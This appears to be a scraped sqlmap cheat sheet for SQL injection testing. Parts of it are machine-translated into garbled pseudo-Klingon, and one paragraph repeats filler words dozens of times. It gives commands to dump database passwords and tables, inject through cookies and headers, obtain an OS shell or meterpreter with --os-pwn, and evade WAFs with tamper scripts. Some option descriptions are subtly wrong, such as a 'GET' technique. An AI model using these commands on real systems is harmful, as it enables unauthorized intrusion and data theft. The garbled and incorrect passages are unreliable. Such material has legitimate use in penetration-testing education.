70 KiB
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Basic arguments for SQLmap
Generic
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
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--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
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--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Injection place
From Burp/ZAP capture
Capture the request and create a req.txt file
qo'noS
Burp/ZAP capture
qo'noS request teywI' je req.txt file yInob.
sqlmap -r req.txt --current-user
GET Request Injection
Description
GET request injection is a technique used to exploit vulnerabilities in web applications that do not properly sanitize user input in GET requests. By injecting malicious SQL code into the GET parameters, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.
SQLMap Usage
To perform GET request injection using SQLMap, follow these steps:
- Identify the vulnerable parameter in the GET request URL.
- Use the
--url
option to specify the target URL. - Use the
--data
option to specify the vulnerable parameter and its value. - Use the
--technique
option to set the injection technique to use. For GET request injection, the technique is usuallyGET
. - Use the
--tamper
option to specify tampering scripts to bypass security filters. - Run SQLMap with the specified options.
Example
$ sqlmap --url "http://example.com/vulnerable.php?id=1" --technique GET --data "id=1" --tamper=space2comment
Mitigation
To prevent GET request injection attacks, it is important to properly sanitize and validate user input before using it in SQL queries. This can be achieved by using parameterized queries or prepared statements, which ensure that user input is treated as data rather than executable code.
Additionally, implementing a web application firewall (WAF) can help detect and block malicious requests that attempt to exploit SQL injection vulnerabilities. Regularly updating and patching the web application and its components can also help mitigate the risk of injection attacks.
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
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sqlmap -u "http://example.com" --data "username=*&password=*"
Headers 'e'ghelchugh 'ej HTTP Qapmey
SQL Injection
Description
SQL Injection is a web vulnerability that allows an attacker to interfere with the SQL queries executed by the application. This can lead to unauthorized access, data manipulation, and even remote code execution.
Detection
To detect SQL Injection in headers and other HTTP methods, you can use tools like SQLMap. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws.
Exploitation
Once SQLMap detects a SQL Injection vulnerability, it can be used to exploit the vulnerability by injecting malicious SQL statements into the headers or other HTTP methods. This can be done by specifying the vulnerable parameter and providing the appropriate payload.
Prevention
To prevent SQL Injection in headers and other HTTP methods, it is important to implement proper input validation and parameterized queries. Additionally, using a web application firewall (WAF) can help detect and block SQL Injection attempts.
LDAP Injection
Description
LDAP Injection is a web vulnerability that allows an attacker to manipulate LDAP queries executed by the application. This can lead to unauthorized access, data leakage, and even remote code execution.
Detection
To detect LDAP Injection in headers and other HTTP methods, you can use tools like SQLMap. SQLMap can also be used to detect and exploit LDAP injection flaws.
Exploitation
Once LDAP Injection is detected, it can be exploited by injecting malicious LDAP statements into the headers or other HTTP methods. This can be done by identifying the vulnerable parameter and providing the appropriate payload.
Prevention
To prevent LDAP Injection in headers and other HTTP methods, it is important to implement proper input validation and sanitization techniques. Additionally, using parameterized queries and input encoding can help mitigate the risk of LDAP Injection attacks.
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
cha'logh qutlh
Second order injection
A second order injection is a type of SQL injection attack that occurs when user input is not directly used in a SQL query, but is stored in a database and later used in a query. This can happen when user input is not properly validated or sanitized before being stored in the database.
The attack works by injecting malicious SQL code into the user input, which is then stored in the database. When the stored input is later used in a query, the injected code is executed, allowing the attacker to manipulate the query and potentially extract sensitive information or modify the database.
To exploit a second order injection vulnerability, an attacker typically needs to have the ability to inject SQL code into the user input and have the injected code stored in the database. This can be achieved through various means, such as exploiting other vulnerabilities or leveraging user privileges.
To prevent second order injection attacks, it is important to properly validate and sanitize user input before storing it in the database. This can include techniques such as input validation, parameterized queries, and using prepared statements.
cha'logh qutlh
cha'logh qutlh jatlh SQL injection attack type 'oH. vItlhutlh user input SQL query vItlhutlh, 'ach database vItlhutlh 'ej vItlhutlh query vItlhutlh. vaj user input properly validated 'ej sanitized vItlhutlh vItlhutlh database vItlhutlh.
attack vItlhutlh user input injected SQL code, 'ej vItlhutlh database vItlhutlh stored. vaj stored input vItlhutlh vItlhutlh query vItlhutlh, injected code executed, allowing attacker manipulate query 'ej potentially extract sensitive information 'ej modify database.
second order injection vulnerability exploit, attacker typically vItlhutlh ability inject SQL code user input 'ej injected code stored database. vaj can achieved various means, such exploiting vulnerabilities 'ej leveraging user privileges.
second order injection attacks prevent, important properly validate 'ej sanitize user input vItlhutlh storing vItlhutlh database. vaj can include techniques input validation, parameterized queries, 'ej using prepared statements.
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Qap
SQLMap
SQLMap is a powerful tool used for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. It is written in Python and supports a wide range of database management systems.
Installation
To install SQLMap, you can use the following command:
$ pip install sqlmap
Basic Usage
To perform a basic SQL injection test on a target URL, you can use the following command:
$ sqlmap -u <target_url>
Replace <target_url>
with the URL of the vulnerable web application.
Advanced Usage
SQLMap provides a wide range of options and features for advanced SQL injection testing. Some of the commonly used options include:
- -p, --param: Specify the parameter to test for SQL injection.
- -D, --dbs: Enumerate the available databases.
- -T, --tables: Enumerate the tables in a specific database.
- -C, --columns: Enumerate the columns in a specific table.
- -dump: Dump the contents of a specific table.
- --os-shell: Get an interactive operating system shell on the target server.
For example, to dump the contents of a specific table, you can use the following command:
$ sqlmap -u <target_url> --tables -D <database_name> --dump -T <table_name>
Replace <database_name>
with the name of the database and <table_name>
with the name of the table.
Shell Access
SQLMap also provides the ability to gain a shell on the target server. To access the shell, you can use the following command:
$ sqlmap -u <target_url> --os-shell
This will open an interactive shell on the target server, allowing you to execute commands and interact with the underlying operating system.
Conclusion
SQLMap is a powerful tool for automating SQL injection testing in web applications. By using its various options and features, you can efficiently detect and exploit SQL injection vulnerabilities, enumerate databases, tables, and columns, and even gain shell access on the target server.
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
SQLmap-vaDmey vItlhutlh
SQLmap vItlhutlh 'ej auto-exploit vItlhutlh
SQLmap
SQLmap Hoch 'e' vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej vItlhutlh 'ej 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sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Customizing Injection
Set a suffix
Klingon Translation:
QapHa' Injection
Set a suffix
Klingon Translation:
QapHa' Injection
Set a suffix
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Qa'neS
Introduction
SQL injection is a common web application vulnerability that allows an attacker to manipulate the database by injecting malicious SQL queries. This can lead to unauthorized access, data leakage, and even complete compromise of the application.
In this section, we will explore the usage of sqlmap
, a powerful tool for automating SQL injection attacks. sqlmap
is capable of detecting and exploiting SQL injection vulnerabilities in a wide range of database management systems.
Usage
Installation
To install sqlmap
, you can use the following command:
$ sudo apt-get install sqlmap
Basic Usage
To perform a basic SQL injection test, you can use the following command:
$ sqlmap -u <URL> --data "<POST data>"
Replace <URL>
with the target URL and <POST data>
with the POST data of the request. sqlmap
will automatically detect and exploit any SQL injection vulnerabilities in the target.
Advanced Usage
sqlmap
provides a wide range of options and features for advanced SQL injection testing. Some of the most commonly used options include:
--level
: Specifies the level of tests to perform (1-5, with 5 being the most thorough).--risk
: Specifies the risk level of tests to perform (1-3, with 3 being the most risky).--dbms
: Specifies the database management system to target (e.g., MySQL, PostgreSQL, Oracle).--technique
: Specifies the SQL injection technique to use (e.g., UNION-based, error-based, time-based).--tamper
: Specifies the tampering script to use for payload obfuscation.
For a complete list of options and features, refer to the sqlmap
documentation.
Conclusion
sqlmap
is a powerful tool for automating SQL injection attacks. By using sqlmap
, you can easily detect and exploit SQL injection vulnerabilities in web applications, helping to secure them against potential attacks. Remember to always obtain proper authorization before conducting any SQL injection testing.
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Help finding boolean injection
Description
Boolean-based SQL injection is a technique used to exploit vulnerabilities in web applications that do not properly sanitize user input before constructing SQL queries. By manipulating the application's logic through boolean expressions, an attacker can extract sensitive information from the database.
Detection
To detect boolean-based SQL injection, you can use tools like SQLMap. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
To perform a boolean-based SQL injection test with SQLMap, you can use the following command:
sqlmap -u <URL> --data "<POST data>" --level <level> --risk <risk> --technique=B
Replace <URL>
with the target URL, <POST data>
with the POST data (if applicable), <level>
with the detection level (1-5), and <risk>
with the risk level (1-3).
Exploitation
Once you have successfully detected a boolean-based SQL injection vulnerability, you can proceed with exploiting it to extract information from the database.
SQLMap provides various options for exploiting boolean-based SQL injection, such as:
- Dumping the database tables:
--dump
- Extracting specific columns:
--columns
- Enumerating the database:
--dbs
- Extracting data from specific tables:
--tables
- Extracting data from specific columns:
--dump -C <column>
You can use these options in combination with the SQLMap command to extract the desired information.
Prevention
To prevent boolean-based SQL injection attacks, it is crucial to implement proper input validation and parameterized queries in your web application. Here are some best practices:
- Use parameterized queries or prepared statements to ensure that user input is properly sanitized.
- Validate and sanitize user input on the server-side before using it in SQL queries.
- Avoid constructing SQL queries dynamically using user input.
- Regularly update and patch your web application to fix any known vulnerabilities.
By following these practices, you can significantly reduce the risk of boolean-based SQL injection attacks.
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Description
Tamper scripts are used by SQLMap to modify the payload sent to the target application during the SQL injection attack. These scripts can be used to bypass security measures, evade detection, or manipulate the behavior of the application.
Usage
To use a tamper script with SQLMap, you need to specify the --tamper
option followed by the name of the script. SQLMap comes with a set of built-in tamper scripts, but you can also create your own custom scripts.
Built-in Tamper Scripts
SQLMap provides a variety of built-in tamper scripts that can be used to modify the payload in different ways. Some of the commonly used tamper scripts include:
apostrophemask
: Adds a backslash before each apostrophe to bypass input validation filters.apostrophenullencode
: Encodes apostrophes as their Unicode representation to bypass input validation filters.base64encode
: Encodes the payload using Base64 encoding.chardoubleencode
: Encodes each character of the payload as two Unicode characters to bypass input validation filters.charunicodeencode
: Encodes each character of the payload as its Unicode representation to bypass input validation filters.concat2concatws
: Replaces theCONCAT
function withCONCAT_WS
to bypass input validation filters.equaltolike
: Replaces the=
operator with theLIKE
operator to bypass input validation filters.htmlencode
: Encodes the payload using HTML entities.modsecurityversioned
: Adds a version number to the payload to bypass ModSecurity rules.randomcase
: Randomly changes the case of each character in the payload to bypass input validation filters.space2comment
: Replaces spaces with comments to bypass input validation filters.space2plus
: Replaces spaces with plus signs to bypass input validation filters.space2randomblank
: Replaces spaces with random blank characters to bypass input validation filters.unionalltounion
: Replaces theUNION ALL
statement withUNION
to bypass input validation filters.
Custom Tamper Scripts
If the built-in tamper scripts do not meet your needs, you can create your own custom tamper scripts. These scripts are written in Python and can be used to implement any desired payload modification logic.
To use a custom tamper script, you need to specify the path to the script using the --tamper
option. The script should define a tamper(payload)
function that takes the payload as input and returns the modified payload.
Example
Here is an example of using a custom tamper script with SQLMap:
$ sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=/path/to/custom_tamper.py
In this example, the --tamper
option is used to specify the path to the custom tamper script custom_tamper.py
. SQLMap will use this script to modify the payload sent to the target application during the SQL injection attack.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | 'apostrophe' character replaced with its UTF-8 full width counterpart |
apostrophenullencode.py | 'apostrophe' character replaced with its illegal double unicode counterpart |
appendnullbyte.py | Encoded NULL byte character appended at the end of payload |
base64encode.py | All characters in given payload encoded with Base64 |
between.py | Greater than operator ('>') replaced with 'NOT BETWEEN 0 AND #' |
bluecoat.py | Space character after SQL statement replaced with a valid random blank character. Character '=' replaced with LIKE operator |
chardoubleencode.py | All characters in given payload double url-encoded (excluding already encoded characters) |
commalesslimit.py | Instances like 'LIMIT M, N' replaced with 'LIMIT N OFFSET M' |
commalessmid.py | Instances like 'MID(A, B, C)' replaced with 'MID(A FROM B FOR C)' |
concat2concatws.py | Instances like 'CONCAT(A, B)' replaced with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | All characters in given payload url-encoded (excluding already encoded characters) |
charunicodeencode.py | Non-encoded characters in given payload unicode-url-encoded (excluding already encoded characters). "%u0022" |
charunicodeescape.py | Non-encoded characters in given payload unicode-url-encoded (excluding already encoded characters). "\u0022" |
equaltolike.py | All occurrences of equal operator ('=') replaced with 'LIKE' operator |
escapequotes.py | Quotes (' and ") slash escaped |
greatest.py | Greater than operator ('>') replaced with 'GREATEST' counterpart |
halfversionedmorekeywords.py | Versioned MySQL comment added before each keyword |
ifnull2ifisnull.py | Instances like 'IFNULL(A, B)' replaced with 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Complete query embraced with versioned comment |
modsecurityzeroversioned.py | Complete query embraced with zero-versioned comment |
multiplespaces.py | Multiple spaces added around SQL keywords |
nonrecursivereplacement.py | Predefined SQL keywords replaced with suitable representations for replacement (e.g. .replace("SELECT", "") filters) |
percentage.py | Percentage sign ('%') added in front of each character |
overlongutf8.py | All characters in given payload converted (excluding already encoded characters) |
randomcase.py | Each keyword character replaced with random case value |
randomcomments.py | Random comments added to SQL keywords |
securesphere.py | Special crafted string appended |
sp_password.py | 'sp_password' appended to the end of the payload for automatic obfuscation from DBMS logs |
space2comment.py | Space character (' ') replaced with comments |
space2dash.py | Space character (' ') replaced with a dash comment ('--') followed by a random string and a new line ('\n') |
space2hash.py | Space character (' ') replaced with a pound character ('#') followed by a random string and a new line ('\n') |
space2morehash.py | Space character (' ') replaced with a pound character ('#') followed by a random string and a new line ('\n') |
space2mssqlblank.py | Space character (' ') replaced with a random blank character from a valid set of alternate characters |
space2mssqlhash.py | Space character (' ') replaced with a pound character ('#') followed by a new line ('\n') |
space2mysqlblank.py | Space character (' ') replaced with a random blank character from a valid set of alternate characters |
space2mysqldash.py | Space character (' ') replaced with a dash comment ('--') followed by a new line ('\n') |
space2plus.py | Space character (' ') replaced with plus ('+') |
space2randomblank.py | Space character (' ') replaced with a random blank character from a valid set of alternate characters |
symboliclogical.py | AND and OR logical operators replaced with their symbolic counterparts (&& and |
unionalltounion.py | UNION ALL SELECT replaced with UNION SELECT |
unmagicquotes.py | Quote character (') replaced with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
uppercase.py | Each keyword character replaced with upper case value 'INSERT' |
varnish.py | HTTP header 'X-originating-IP' appended |
versionedkeywords.py | Each non-function keyword enclosed with versioned MySQL comment |
versionedmorekeywords.py | Each keyword enclosed with versioned MySQL comment |
xforwardedfor.py | Fake HTTP header 'X-Forwarded-For' appended |
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